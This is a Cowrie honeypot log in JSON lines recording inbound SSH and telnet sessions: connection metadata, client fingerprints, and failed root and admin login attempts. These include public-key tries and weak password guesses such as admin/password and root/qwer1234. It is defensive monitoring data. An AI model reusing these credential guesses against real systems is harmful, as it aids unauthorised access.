{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:aa:e8:6d:83:af:b0:9d:54:bd:2e:02:00:60:fd:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm5VlhqvxprvHKSJJCIdLdVd6DOz0vw7X2hgoq2hASYCmA2XLB4UYsK/crZAsy0YrhRZ+nV2F+1l8Y0NIBMUo5CUvfycqg70hLQrW4RJXHphxIChTFyBq5jXZ2E+1hRGrvOLm/pGbR0T2dPY4TSQaK8vAsqZ2DplqQdoDfmJb/NJwi9hBhzzTf8f54G7if7ejgke0UiBTrg514IZXug6wCvM6yZ2SGCpDQkci9JhW3DEEdN9bu0xEgLyVmMr/fSQeFKkw7lKuNSAZDi6MKZUhZG82B+htAJKQGU0LL2HFpkbk6rsbrSIhu9Wvk1XflaB5b7QwHr3WA+rnUkjHbnt33","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:aa:e8:6d:83:af:b0:9d:54:bd:2e:02:00:60:fd:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:32.885799Z","src_ip":"198.20.104.203","session":"3eab034bc8dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:aa:e8:6d:83:af:b0:9d:54:bd:2e:02:00:60:fd:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm5VlhqvxprvHKSJJCIdLdVd6DOz0vw7X2hgoq2hASYCmA2XLB4UYsK/crZAsy0YrhRZ+nV2F+1l8Y0NIBMUo5CUvfycqg70hLQrW4RJXHphxIChTFyBq5jXZ2E+1hRGrvOLm/pGbR0T2dPY4TSQaK8vAsqZ2DplqQdoDfmJb/NJwi9hBhzzTf8f54G7if7ejgke0UiBTrg514IZXug6wCvM6yZ2SGCpDQkci9JhW3DEEdN9bu0xEgLyVmMr/fSQeFKkw7lKuNSAZDi6MKZUhZG82B+htAJKQGU0LL2HFpkbk6rsbrSIhu9Wvk1XflaB5b7QwHr3WA+rnUkjHbnt33","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:32.889899Z","src_ip":"198.20.104.203","session":"3eab034bc8dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:9c:b4:74:c3:15:83:f5:8c:72:69:b4:61:f7:c7:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4sNA7b5nGBTsnoPBo8Fw2N9IH7lfb3CSqLUBP+VksKqwvaFMgovc1a/0XevTsdpmfCqywASQhLjcWLoeIc4iCzekwtgzKMqLgJgkct8bttDrHU6VwilDgbZDdzeHpYO/jBSrTta+kah6nyJFwGYiCVKYWvAlEkMnUnXsv0QGbg2Et9xe+fhDY++NnZqqXKeReBIwl3MCPptnessXOc6Se73EpthO1/I0m8+HORRK+ra9F7lfD8XkFeKxjAYlkWXdrOcYwyBSVMEaokSVSg9MV6NCbJLRC6FtoYZkal+BLdE5zGPv4acgABsdhq5CI5/yILX4ZLie4r1jFsd35ildXJcf3cOpxiw//GmqG6xhgwzCqs5qITh3YoFLVGaGWt/BAqW4/Tat8GKP813AxTmVvmRPDvCew3ePLGL1MieCHXMXLo4wwc2BsXbZWcEb0apy+NJcu+72gOH9luXaR53MeEngbVx8GQ8UBHYwA0S4RBCTMhlEfyerlufpty7iLS6Ads/mRjHNMkqElSjhco58hn1MTd91+0xWrhMXrB/iLoJZv34WR9v4bzSGnfutit25k5E1c+cqniYmWKlybp9b2bUB1xCyKtB9xhKN8KihSXziduM6biIC7n4tWs+/5RZSstqz8fv9PzdzvbN3MmA9s9lqEh9vJwQYKWnwp65BrcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:9c:b4:74:c3:15:83:f5:8c:72:69:b4:61:f7:c7:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:32.977033Z","src_ip":"198.20.104.203","session":"3eab034bc8dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:9c:b4:74:c3:15:83:f5:8c:72:69:b4:61:f7:c7:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4sNA7b5nGBTsnoPBo8Fw2N9IH7lfb3CSqLUBP+VksKqwvaFMgovc1a/0XevTsdpmfCqywASQhLjcWLoeIc4iCzekwtgzKMqLgJgkct8bttDrHU6VwilDgbZDdzeHpYO/jBSrTta+kah6nyJFwGYiCVKYWvAlEkMnUnXsv0QGbg2Et9xe+fhDY++NnZqqXKeReBIwl3MCPptnessXOc6Se73EpthO1/I0m8+HORRK+ra9F7lfD8XkFeKxjAYlkWXdrOcYwyBSVMEaokSVSg9MV6NCbJLRC6FtoYZkal+BLdE5zGPv4acgABsdhq5CI5/yILX4ZLie4r1jFsd35ildXJcf3cOpxiw//GmqG6xhgwzCqs5qITh3YoFLVGaGWt/BAqW4/Tat8GKP813AxTmVvmRPDvCew3ePLGL1MieCHXMXLo4wwc2BsXbZWcEb0apy+NJcu+72gOH9luXaR53MeEngbVx8GQ8UBHYwA0S4RBCTMhlEfyerlufpty7iLS6Ads/mRjHNMkqElSjhco58hn1MTd91+0xWrhMXrB/iLoJZv34WR9v4bzSGnfutit25k5E1c+cqniYmWKlybp9b2bUB1xCyKtB9xhKN8KihSXziduM6biIC7n4tWs+/5RZSstqz8fv9PzdzvbN3MmA9s9lqEh9vJwQYKWnwp65BrcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:32.981716Z","src_ip":"198.20.104.203","session":"3eab034bc8dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:1a:f1:31:1f:19:1e:f9:85:eb:28:4e:ff:0a:98:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMDypvyzL/z8S24KTuZIJgoMExeLWfJcsehUp9DN01TeU8dZDVa8FL8qGtPhqcdIHWqSHrZ7gy9GPvwsLCbM/KEXJ7x0NP0lsQym0q/Ym74WcIrmC16ind0GWYxv6JUIiredhLlyu+ebkksIcQrMwM4Sxn/ojNbSr5iWLndDookmk4evsC/83O6XxT17b5v9VJHSh3WAfM/0nUKKvkE9pIwTXnwCoe84P5A8kUTle3/4clc6YbQ5UKe3ZIrfGndrfruV28O3YREKTX3jdmCWChaaGQDAPkDtrjfPNUrC66zuGGvv2I1bCbeSgS+HwkhNGW6RO/7a4qVOrq+BEqlRUQtTngMuGaBZaHLsuZJmpO1SxMuiVEkGB6Ly2ZgVUSuekPGb1MvB6seUNVOcjVyGB1HL6hlytl6AuIpbwVzQnfzrtTpXSQYS336NtWNjlQSv1A9sw+my8ITx0X8GxCKmtwzwDSuy1pq81se22g0IFg94viqOuwSC+LKzdHj1pwH+v7Hiwi7EzuWyyEZzahIK8vnP+q4130iCqivbJ+G6zszISCtZc1SuBSyN05G+PJbGOIAgZhNsG6tWdfqsgGOIpNQVyKUbvIW8MvSRbAhkF7uBuOK05W72GfjuQLaZfNkEWmIwQ6hUMvacq79hE0VvWhxaZvDhe+OYmAjBd5xUN/+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:1a:f1:31:1f:19:1e:f9:85:eb:28:4e:ff:0a:98:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:33.069600Z","src_ip":"198.20.104.203","session":"3eab034bc8dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:1a:f1:31:1f:19:1e:f9:85:eb:28:4e:ff:0a:98:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMDypvyzL/z8S24KTuZIJgoMExeLWfJcsehUp9DN01TeU8dZDVa8FL8qGtPhqcdIHWqSHrZ7gy9GPvwsLCbM/KEXJ7x0NP0lsQym0q/Ym74WcIrmC16ind0GWYxv6JUIiredhLlyu+ebkksIcQrMwM4Sxn/ojNbSr5iWLndDookmk4evsC/83O6XxT17b5v9VJHSh3WAfM/0nUKKvkE9pIwTXnwCoe84P5A8kUTle3/4clc6YbQ5UKe3ZIrfGndrfruV28O3YREKTX3jdmCWChaaGQDAPkDtrjfPNUrC66zuGGvv2I1bCbeSgS+HwkhNGW6RO/7a4qVOrq+BEqlRUQtTngMuGaBZaHLsuZJmpO1SxMuiVEkGB6Ly2ZgVUSuekPGb1MvB6seUNVOcjVyGB1HL6hlytl6AuIpbwVzQnfzrtTpXSQYS336NtWNjlQSv1A9sw+my8ITx0X8GxCKmtwzwDSuy1pq81se22g0IFg94viqOuwSC+LKzdHj1pwH+v7Hiwi7EzuWyyEZzahIK8vnP+q4130iCqivbJ+G6zszISCtZc1SuBSyN05G+PJbGOIAgZhNsG6tWdfqsgGOIpNQVyKUbvIW8MvSRbAhkF7uBuOK05W72GfjuQLaZfNkEWmIwQ6hUMvacq79hE0VvWhxaZvDhe+OYmAjBd5xUN/+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:33.073692Z","src_ip":"198.20.104.203","session":"3eab034bc8dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:59:c4:44:85:ee:f0:ff:64:3d:a6:a1:85:fe:c7:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDL4x/lcDFFXQ3QGmCQd0ajZ+nNFKF2nER6MU/JeebWoLRY2SQb3fHCtS8DNtJqc8Y+xe4AmJBcC0DnJtTr8pSrlkMT3OxF+mukYg2McFSyRGyg/pKLvGFLPwkww2Dh0KjSL7ay7FSmohb3/dISv5AxLYNx3L3r5NuOZzHPjad2ZkIcLJ5FjY6NdkHPEY4ZiUd9n/JUMwJZsdGpSA8eGlE53f1mcTh/nmgV6qjshdCH+2psQ54njmToCkRU/yGzpNVD5tU/TyTxCZ5/8SSfBHyRdTJ/EeDu53tUb5pJr6cI9Ym7Wrkn2fQXCOZ+ZY8cM9qiS/oEOvCYkEIjwi/dfnZfiFcnVxobPyNE95h4tELs/BYVyn+HfobX2h/kGRKQaH7gaDHlARpbqZ+OmbPZAwXH5j5NgDigWXFAOtUsp22eDrgb4pG0cDtqlmcI8TVwuLnfiHrCptQcyLOT5pOCQRYf7RpnqNM7Yu1IQCsdQ/oRreK7gvqvrr5QvgwNfzW1C/XOOAhmVj4MwEJFOGezY/lmlJqACM0Q16kB1FU28Qrm+cHFnLokTkkogyirK/xNGjpliGhUutULPNoCr1kUhulkOe8llHldlcqp2M3Aakh2VgUt8++gBPQl6vtflnQ6IZWRdMNAxeh2kLsHj7ouk85GjWEYgNPMVaY7d87bZXDtjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:59:c4:44:85:ee:f0:ff:64:3d:a6:a1:85:fe:c7:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:33.157020Z","src_ip":"198.20.104.203","session":"3eab034bc8dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:59:c4:44:85:ee:f0:ff:64:3d:a6:a1:85:fe:c7:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDL4x/lcDFFXQ3QGmCQd0ajZ+nNFKF2nER6MU/JeebWoLRY2SQb3fHCtS8DNtJqc8Y+xe4AmJBcC0DnJtTr8pSrlkMT3OxF+mukYg2McFSyRGyg/pKLvGFLPwkww2Dh0KjSL7ay7FSmohb3/dISv5AxLYNx3L3r5NuOZzHPjad2ZkIcLJ5FjY6NdkHPEY4ZiUd9n/JUMwJZsdGpSA8eGlE53f1mcTh/nmgV6qjshdCH+2psQ54njmToCkRU/yGzpNVD5tU/TyTxCZ5/8SSfBHyRdTJ/EeDu53tUb5pJr6cI9Ym7Wrkn2fQXCOZ+ZY8cM9qiS/oEOvCYkEIjwi/dfnZfiFcnVxobPyNE95h4tELs/BYVyn+HfobX2h/kGRKQaH7gaDHlARpbqZ+OmbPZAwXH5j5NgDigWXFAOtUsp22eDrgb4pG0cDtqlmcI8TVwuLnfiHrCptQcyLOT5pOCQRYf7RpnqNM7Yu1IQCsdQ/oRreK7gvqvrr5QvgwNfzW1C/XOOAhmVj4MwEJFOGezY/lmlJqACM0Q16kB1FU28Qrm+cHFnLokTkkogyirK/xNGjpliGhUutULPNoCr1kUhulkOe8llHldlcqp2M3Aakh2VgUt8++gBPQl6vtflnQ6IZWRdMNAxeh2kLsHj7ouk85GjWEYgNPMVaY7d87bZXDtjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:33.161080Z","src_ip":"198.20.104.203","session":"3eab034bc8dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:07:f2:09:61:41:4f:3b:1d:03:d9:25:4d:92:b3:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQXPOm4zEKeHUi6MGATspdAOYR9EzJS9ombPg//8J+8xYp2Fv3Tj6WqgqJF7xyOHpNs554mbftd7YftOE9P/8PbkYh9Sed7avtmn47RUnZQlnYPn0jQPSuOybQvDbo5EaYW2zDKf7NsgrzWkRyGTbnZcjiDB4g9rciQ+zUiXb43TPHZ9QsEKIo/McUpdjXSODeEupCztAWMmtNK10Ajg9Fi77jOfjKWO+squtyZnZC8T+/PGr9ohI00a+wJ3fKWnDxs0ohQZSAjdRAUrR/IzajH3VtLJIedHaLl+OjAOjkiBU6bLwC3RFUVPIN3Jyw5EFla4U2UAGA7yhTy60seGWz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:07:f2:09:61:41:4f:3b:1d:03:d9:25:4d:92:b3:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:33.245219Z","src_ip":"198.20.104.203","session":"3eab034bc8dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:07:f2:09:61:41:4f:3b:1d:03:d9:25:4d:92:b3:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQXPOm4zEKeHUi6MGATspdAOYR9EzJS9ombPg//8J+8xYp2Fv3Tj6WqgqJF7xyOHpNs554mbftd7YftOE9P/8PbkYh9Sed7avtmn47RUnZQlnYPn0jQPSuOybQvDbo5EaYW2zDKf7NsgrzWkRyGTbnZcjiDB4g9rciQ+zUiXb43TPHZ9QsEKIo/McUpdjXSODeEupCztAWMmtNK10Ajg9Fi77jOfjKWO+squtyZnZC8T+/PGr9ohI00a+wJ3fKWnDxs0ohQZSAjdRAUrR/IzajH3VtLJIedHaLl+OjAOjkiBU6bLwC3RFUVPIN3Jyw5EFla4U2UAGA7yhTy60seGWz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:33.249821Z","src_ip":"198.20.104.203","session":"3eab034bc8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:33.334129Z","src_ip":"198.20.104.203","session":"3eab034bc8dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.193.85","src_port":55784,"dst_ip":"159.203.135.109","dst_port":22,"session":"459f95c3dd8d","protocol":"ssh","message":"New connection: 171.231.193.85:55784 (159.203.135.109:22) [session: 459f95c3dd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:45.124424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:45.130017Z","src_ip":"171.231.193.85","session":"459f95c3dd8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:45.429643Z","src_ip":"171.231.193.85","session":"459f95c3dd8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:51.109932Z","src_ip":"171.231.193.85","session":"459f95c3dd8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:53.199969Z","src_ip":"171.231.193.85","session":"459f95c3dd8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":51114,"dst_ip":"10.17.0.5","dst_port":22,"session":"62fd064d2743","protocol":"ssh","message":"New connection: 103.15.226.202:51114 (10.17.0.5:22) [session: 62fd064d2743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:04:09.869718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:04:09.874784Z","src_ip":"103.15.226.202","session":"62fd064d2743","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:04:10.115839Z","src_ip":"103.15.226.202","session":"62fd064d2743","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:04:10.839776Z","src_ip":"103.15.226.202","session":"62fd064d2743","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:04:12.084180Z","src_ip":"103.15.226.202","session":"62fd064d2743","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":46313,"dst_ip":"10.17.0.5","dst_port":23,"session":"280f3deeef41","protocol":"telnet","message":"New connection: 212.55.149.117:46313 (10.17.0.5:23) [session: 280f3deeef41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:04:26.224746Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":34095,"dst_ip":"10.17.0.5","dst_port":23,"session":"37740dcd3bb3","protocol":"telnet","message":"New connection: 212.55.149.117:34095 (10.17.0.5:23) [session: 37740dcd3bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:04:48.595186Z"}
{"eventid":"cowrie.session.closed","duration":120.00205755233765,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:04:49.056773Z","src_ip":"212.55.149.117","session":"17f1e79e5e19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.123.124.23","src_port":43784,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaf26c70b3ad","protocol":"telnet","message":"New connection: 178.123.124.23:43784 (10.17.0.5:23) [session: aaf26c70b3ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:04:56.164658Z"}
{"eventid":"cowrie.session.closed","duration":13.058953285217285,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:09.223496Z","src_ip":"178.123.124.23","session":"aaf26c70b3ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":36124,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce96a00758f4","protocol":"telnet","message":"New connection: 212.55.149.117:36124 (10.17.0.5:23) [session: ce96a00758f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:10.550391Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":24428,"dst_ip":"10.17.0.5","dst_port":23,"session":"723f6bb046b0","protocol":"telnet","message":"New connection: 212.55.149.117:24428 (10.17.0.5:23) [session: 723f6bb046b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:21.998061Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.181.165.232","src_port":3164,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1d251d4f81e","protocol":"telnet","message":"New connection: 79.181.165.232:3164 (10.17.0.5:23) [session: e1d251d4f81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:30.571364Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.220.181","src_port":60280,"dst_ip":"159.203.135.109","dst_port":22,"session":"f38b26453902","protocol":"ssh","message":"New connection: 116.110.220.181:60280 (159.203.135.109:22) [session: f38b26453902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:31.730899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:31.734108Z","src_ip":"116.110.220.181","session":"f38b26453902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51586,"dst_ip":"10.17.0.5","dst_port":22,"session":"a228f2283ac8","protocol":"ssh","message":"New connection: 193.32.162.145:51586 (10.17.0.5:22) [session: a228f2283ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:31.934960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:05:31.938679Z","src_ip":"193.32.162.145","session":"a228f2283ac8","protocol":"ssh"}
